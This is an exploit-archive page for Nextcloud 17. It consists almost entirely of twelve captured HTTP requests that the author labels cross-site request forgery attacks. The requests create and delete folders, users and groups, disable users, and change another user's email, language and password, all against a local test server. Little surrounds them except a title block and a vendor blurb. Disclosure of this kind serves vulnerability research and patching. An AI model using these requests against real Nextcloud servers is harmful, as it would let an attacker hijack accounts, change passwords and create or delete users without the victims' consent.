exploit the possibilities

Nextcloud 17 Cross Site Request Forgery

Nextcloud 17 Cross Site Request Forgery
Posted Nov 8, 2019
Authored by Ozer Goker

Nextcloud 17 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
MD5 | b613cc280057db8886536325e5bf276d

Nextcloud 17 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Nextcloud 17 - Cross-Site Request Forgery
# Date: 08.11.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://nextcloud.com
# Software Link: https://nextcloud.com/install/#instructions-server
# Version: 17



#Nextcloud offers the industry-leading, on-premises content collaboration
platform.
#Our technology combines the convenience and ease of use of consumer-grade
solutions like Dropbox and Google Drive with the security, privacy and
control business #needs.

##################################################################################################################################

# CSRF1
# Create Folder

MKCOL /remote.php/dav/files/ogoker/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF2
# Delete Folder

DELETE /remote.php/dav/files/ogoker/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF3
# Create User

POST /ocs/v2.php/cloud/users HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
requesttoken:
qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
Content-Length: 129
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1

{"userid":"test","password":"test1234","displayName":"","email":"","groups":[],"subadmin":[],"quota":"default","language":"en"}



##################################################################################################################################

# CSRF4
# Delete User

DELETE /ocs/v2.php/cloud/users/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF5
# Disable User

PUT /ocs/v2.php/cloud/users/test/disable HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
Content-Length: 0


##################################################################################################################################

# CSRF6
# Enable User

PUT /ocs/v2.php/cloud/users/test/enable HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
Content-Length: 0


##################################################################################################################################

# CSRF7
# Create Group

POST /ocs/v2.php/cloud/groups HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
requesttoken:
EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
Content-Length: 18
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"groupid":"test"}


##################################################################################################################################

# CSRF8
# Delete Group

DELETE /ocs/v2.php/cloud/groups/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1


##################################################################################################################################

# CSRF9
# Change User Full Name


PUT /settings/users/ogoker/settings HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken:
nvnWCslz6So+9VRA8Vg8043tt1pf1wL/ysi2ak1J6es=:z5yuT+YrmAERmx0LhmBllPSJ/WISv2mUuL36IB4ru6I=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 266
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"displayname":"Ozer
Goker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}


##################################################################################################################################

# CSRF10
# Change User Email

PUT /settings/users/ogoker/settings HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken:
I+6bC+nRvx4TyTudd4pzZrOucr8qlgwe0YE3v13+fOw=:covjTsaJzjU8p3LWALIqIcrKOIdn/md1o/R79Q6cLqU=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 271
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"displayname":"ogoker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"test@test
","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}


##################################################################################################################################

# CSRF11
# Change Language

PUT /ocs/v2.php/cloud/users/ogoker HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
mRN2MXrwRQuE/fuQ5PNtyp4ulgYRocB99vbydSi8i+E=:yHYOdFWoNCCrk7Lbk8s0jedK3D5cyasWhIO+P3ve2ag=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 21
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

key=language&value=tr


##################################################################################################################################

# CSRF12
# Change User Password

POST /settings/personal/changepassword HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
0OhP82O7tEe/0gbwiEPrkFfuU9StyaiXNi0yqg02wT4=:gY03tkzjxWyQvE+7/3uy1y6KGezgocP8RFh+4F5Uk3c=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

oldpassword=abcd1234&newpassword=12345678&newpassword-clone=12345678


##################################################################################################################################
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